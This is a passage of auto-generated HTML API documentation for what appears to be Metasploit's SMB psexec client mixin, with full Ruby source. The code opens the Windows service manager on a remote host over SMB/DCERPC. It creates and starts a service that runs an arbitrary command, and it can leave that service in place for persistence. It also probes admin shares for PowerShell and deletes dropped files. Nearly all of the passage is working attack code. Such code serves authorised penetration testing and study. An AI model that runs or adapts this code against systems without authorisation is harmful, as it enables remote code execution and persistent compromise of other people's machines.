<span class='id identifier rubyid_file_location'>file_location</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\127.0.0.1\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fileprefix'>fileprefix</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>end</span>
<span class='id identifier rubyid_psexec'>psexec</span><span class='lparen'>(</span><span class='id identifier rubyid_file_location'>file_location</span><span class='comma'>,</span> <span class='kw'>false</span><span class='rparen'>)</span>
<span class='kw'>unless</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_PERSIST</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Deleting \\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_content'>...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='comment'>#This is not really useful but will prevent double \\ on the wire :)
</span> <span class='kw'>if</span> <span class='id identifier rubyid_smb_share'>smb_share</span> <span class='op'>=~</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>.[\\\/]</span><span class='regexp_end'>/</span></span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_delete'>delete</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fileprefix'>fileprefix</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>rescue</span> <span class='const'><span class='object_link'><a href="../Client.html#XCEPT-constant" title="Msf::Exploit::Remote::SMB::Client::XCEPT (constant)">XCEPT</a></span></span><span class='op'>::</span><span class='const'>ErrorCode</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_e'>e</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Delete of \\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fileprefix'>fileprefix</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_content'> failed: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='period'>.</span><span class='id identifier rubyid_message'>message</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smbshare'>smbshare</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_delete'>delete</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>rescue</span> <span class='const'><span class='object_link'><a href="../Client.html#XCEPT-constant" title="Msf::Exploit::Remote::SMB::Client::XCEPT (constant)">XCEPT</a></span></span><span class='op'>::</span><span class='const'>ErrorCode</span> <span class='op'>=&gt;</span> <span class='id identifier rubyid_e'>e</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Delete of \\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_filename'>filename</span><span class='embexpr_end'>}</span><span class='tstring_content'> failed: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_e'>e</span><span class='period'>.</span><span class='id identifier rubyid_message'>message</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="powershell_installed?-instance_method">
#<strong>powershell_installed?</strong>(smb_share, psh_path) &#x21d2; <tt>Boolean</tt>
</h3><div class="docstring">
<div class="discussion">
</div>
</div>
<div class="tags">
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>Boolean</tt>)</span>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 195</span>
<span class='kw'>def</span> <span class='id identifier rubyid_powershell_installed?'>powershell_installed?</span><span class='lparen'>(</span><span class='id identifier rubyid_smb_share'>smb_share</span><span class='comma'>,</span> <span class='id identifier rubyid_psh_path'>psh_path</span><span class='rparen'>)</span>
<span class='id identifier rubyid_share'>share</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_smb_share'>smb_share</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>case</span> <span class='id identifier rubyid_smb_share'>smb_share</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span>
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ADMIN$</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_path'>path</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>System32\\WindowsPowerShell\\v1.0\\powershell.exe</span><span class='tstring_end'>&#39;</span></span>
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>C$</span><span class='tstring_end'>&#39;</span></span>
<span class='id identifier rubyid_path'>path</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</span><span class='tstring_end'>&#39;</span></span>
<span class='kw'>else</span>
<span class='id identifier rubyid_path'>path</span> <span class='op'>=</span> <span class='id identifier rubyid_psh_path'>psh_path</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='id identifier rubyid_share'>share</span><span class='rparen'>)</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Checking for </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_path'>path</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_smb_file_exist?'>smb_file_exist?</span><span class='lparen'>(</span><span class='id identifier rubyid_path'>path</span><span class='rparen'>)</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>PowerShell found</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_psh'>psh</span> <span class='op'>=</span> <span class='kw'>true</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>PowerShell not found</span><span class='tstring_end'>&#39;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_psh'>psh</span> <span class='op'>=</span> <span class='kw'>false</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_disconnect'>disconnect</span><span class='lparen'>(</span><span class='id identifier rubyid_share'>share</span><span class='rparen'>)</span>
<span class='id identifier rubyid_psh'>psh</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="psexec-instance_method">
#<strong>psexec</strong>(command, disconnect = true) &#x21d2; <tt>Boolean</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Executes a single windows command.</p>
<p>If you want to retrieve the output of your command youll have to echo it to a .txt file and then use the <span class='object_link'><a href="#smb_read_file-instance_method" title="Msf::Exploit::Remote::SMB::Client::Psexec#smb_read_file (method)">#smb_read_file</a></span> method to retrieve it. Make sure to remove the files manually or use <span class='object_link'><a href="../../../FileDropper.html#register_files_for_cleanup-instance_method" title="Msf::Exploit::FileDropper#register_files_for_cleanup (method)">FileDropper#register_files_for_cleanup</a></span> to have the <span class='object_link'><a href="../../../FileDropper.html#cleanup-instance_method" title="Msf::Exploit::FileDropper#cleanup (method)">FileDropper#cleanup</a></span> and <span class='object_link'><a href="../../../FileDropper.html#on_new_session-instance_method" title="Msf::Exploit::FileDropper#on_new_session (method)">FileDropper#on_new_session</a></span> handlers do it for you.</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>command</span>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>Should be a valid windows command</p>
</div>
</li>
<li>
<span class='name'>disconnect</span>
<span class='type'>(<tt>Boolean</tt>)</span>
<em class="default">(defaults to: <tt>true</tt>)</em>
&mdash;
<div class='inline'>
<p>Disconnect afterwards</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>Boolean</tt>)</span>
&mdash;
<div class='inline'>
<p>Whether everything went well</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 98</span>
<span class='kw'>def</span> <span class='id identifier rubyid_psexec'>psexec</span><span class='lparen'>(</span><span class='id identifier rubyid_command'>command</span><span class='comma'>,</span> <span class='id identifier rubyid_disconnect'>disconnect</span><span class='op'>=</span><span class='kw'>true</span><span class='rparen'>)</span>
<span class='id identifier rubyid_remove_socket'>remove_socket</span><span class='lparen'>(</span><span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_sock'>sock</span><span class='rparen'>)</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_connect'>connect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\IPC$</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_handle'>handle</span> <span class='op'>=</span> <span class='id identifier rubyid_dcerpc_handle_target'>dcerpc_handle_target</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>367abb81-9844-35f1-ad32-98f038001003</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>2.0</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>ncacn_np</span><span class='tstring_end'>&#39;</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\svcctl</span><span class='tstring_end'>&quot;</span></span><span class='rbracket'>]</span><span class='comma'>,</span> <span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='rparen'>)</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Binding to </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_handle'>handle</span><span class='embexpr_end'>}</span><span class='tstring_content'> ...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_dcerpc_bind'>dcerpc_bind</span><span class='lparen'>(</span><span class='id identifier rubyid_handle'>handle</span><span class='rparen'>)</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Bound to </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_handle'>handle</span><span class='embexpr_end'>}</span><span class='tstring_content'> ...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Obtaining a service manager handle...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_client'>svc_client</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto.html" title="Rex::Proto (module)">Proto</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC.html" title="Rex::Proto::DCERPC (module)">DCERPC</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC/SVCCTL.html" title="Rex::Proto::DCERPC::SVCCTL (module)">SVCCTL</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC/SVCCTL/Client.html" title="Rex::Proto::DCERPC::SVCCTL::Client (class)">Client</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../../../../Rex/Proto/DCERPC/SVCCTL/Client.html#initialize-instance_method" title="Rex::Proto::DCERPC::SVCCTL::Client#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='id identifier rubyid_dcerpc'>dcerpc</span><span class='rparen'>)</span>
<span class='id identifier rubyid_scm_handle'>scm_handle</span><span class='comma'>,</span> <span class='id identifier rubyid_scm_status'>scm_status</span> <span class='op'>=</span> <span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_openscmanagerw'>openscmanagerw</span><span class='lparen'>(</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_scm_status'>scm_status</span> <span class='op'>==</span> <span class='const'>ERROR_ACCESS_DENIED</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>ERROR_ACCESS_DENIED opening the Service Manager</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>return</span> <span class='kw'>false</span> <span class='kw'>unless</span> <span class='id identifier rubyid_scm_handle'>scm_handle</span>
<span class='kw'>if</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_PERSIST</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span> <span class='symbol'>:start</span> <span class='op'>=&gt;</span> <span class='const'><span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_AUTO_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_AUTO_START (constant)">SERVICE_AUTO_START</a></span></span> <span class='rbrace'>}</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Creating the service...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='comma'>,</span> <span class='id identifier rubyid_svc_status'>svc_status</span> <span class='op'>=</span> <span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_createservicew'>createservicew</span><span class='lparen'>(</span><span class='id identifier rubyid_scm_handle'>scm_handle</span><span class='comma'>,</span> <span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span> <span class='id identifier rubyid_display_name'>display_name</span><span class='comma'>,</span> <span class='id identifier rubyid_command'>command</span><span class='comma'>,</span> <span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
<span class='kw'>case</span> <span class='id identifier rubyid_svc_status'>svc_status</span>
<span class='kw'>when</span> <span class='const'>ERROR_SUCCESS</span>
<span class='id identifier rubyid_vprint_good'>vprint_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Successfully created the service</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='const'>ERROR_SERVICE_EXISTS</span>
<span class='id identifier rubyid_service_exists'>service_exists</span> <span class='op'>=</span> <span class='kw'>true</span>
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service already exists, opening a handle...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_handle'>svc_handle</span> <span class='op'>=</span> <span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_openservicew'>openservicew</span><span class='lparen'>(</span><span class='id identifier rubyid_scm_handle'>scm_handle</span><span class='comma'>,</span> <span class='id identifier rubyid_service_name'>service_name</span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='const'>ERROR_ACCESS_DENIED</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Unable to create service, ACCESS_DENIED, did AV gobble your binary?</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>false</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Failed to create service, ERROR_CODE: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_svc_status'>svc_status</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>false</span>
<span class='kw'>end</span>
<span class='kw'>if</span> <span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='period'>.</span><span class='id identifier rubyid_nil?'>nil?</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>No service handle retrieved</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>return</span> <span class='kw'>false</span>
<span class='kw'>end</span>
<span class='kw'>if</span> <span class='id identifier rubyid_service_description'>service_description</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Changing service description...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_changeservicedescription'>changeservicedescription</span><span class='lparen'>(</span><span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='comma'>,</span> <span class='id identifier rubyid_service_description'>service_description</span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Starting the service...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>begin</span>
<span class='id identifier rubyid_svc_status'>svc_status</span> <span class='op'>=</span> <span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_startservice'>startservice</span><span class='lparen'>(</span><span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='rparen'>)</span>
<span class='kw'>case</span> <span class='id identifier rubyid_svc_status'>svc_status</span>
<span class='kw'>when</span> <span class='const'>ERROR_SUCCESS</span>
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service started successfully...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='const'>ERROR_FILE_NOT_FOUND</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service failed to start - FILE_NOT_FOUND</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='const'>ERROR_ACCESS_DENIED</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service failed to start - ACCESS_DENIED</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='const'>ERROR_SERVICE_REQUEST_TIMEOUT</span>
<span class='id identifier rubyid_print_good'>print_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service start timed out, OK if running a command or non-service executable...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Service failed to start, ERROR_CODE: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_svc_status'>svc_status</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>ensure</span>
<span class='kw'>begin</span>
<span class='comment'># If service already exists don&#39;t delete it!
</span> <span class='comment'># Maybe we could have a force cleanup option..?
</span> <span class='kw'>if</span> <span class='id identifier rubyid_service_exists'>service_exists</span>
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Not removing service as it already existed...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>elsif</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_PERSIST</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='id identifier rubyid_print_warning'>print_warning</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Not removing service for persistence...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Removing the service...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_status'>svc_status</span> <span class='op'>=</span> <span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_deleteservice'>deleteservice</span><span class='lparen'>(</span><span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='rparen'>)</span>
<span class='kw'>if</span> <span class='id identifier rubyid_svc_status'>svc_status</span> <span class='op'>==</span> <span class='const'>ERROR_SUCCESS</span>
<span class='id identifier rubyid_vprint_good'>vprint_good</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Successfully removed the service</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>else</span>
<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Unable to remove the service, ERROR_CODE: </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_svc_status'>svc_status</span><span class='embexpr_end'>}</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='kw'>ensure</span>
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>Closing service handle...</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='id identifier rubyid_svc_client'>svc_client</span><span class='period'>.</span><span class='id identifier rubyid_closehandle'>closehandle</span><span class='lparen'>(</span><span class='id identifier rubyid_svc_handle'>svc_handle</span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>end</span>
<span class='kw'>if</span> <span class='id identifier rubyid_disconnect'>disconnect</span>
<span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_disconnect'>disconnect</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>\\\\</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_simple'>simple</span><span class='period'>.</span><span class='id identifier rubyid_address'>address</span><span class='embexpr_end'>}</span><span class='tstring_content'>\\IPC$</span><span class='tstring_end'>&quot;</span></span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='kw'>true</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="service_description-instance_method">
#<strong>service_description</strong> &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Retrieve the SERVICE_DESCRIPTION option</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>the service description.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
60
61
62</pre>
</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/smb/client/psexec.rb', line 60</span>
<span class='kw'>def</span> <span class='id identifier rubyid_service_description'>service_description</span>
<span class='ivar'>@service_description</span> <span class='op'>||=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>&#39;</span><span class='tstring_content'>SERVICE_DESCRIPTION</span><span class='tstring_end'>&#39;</span></span><span class='rbracket'>]</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="service_name-instance_method">
#<strong>service_name</strong> &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Retrieve the SERVICE_NAME option, generate a random one if not already set.</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>service_name the name of the service.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
43
44
45
46</pre>
</td>
<td>
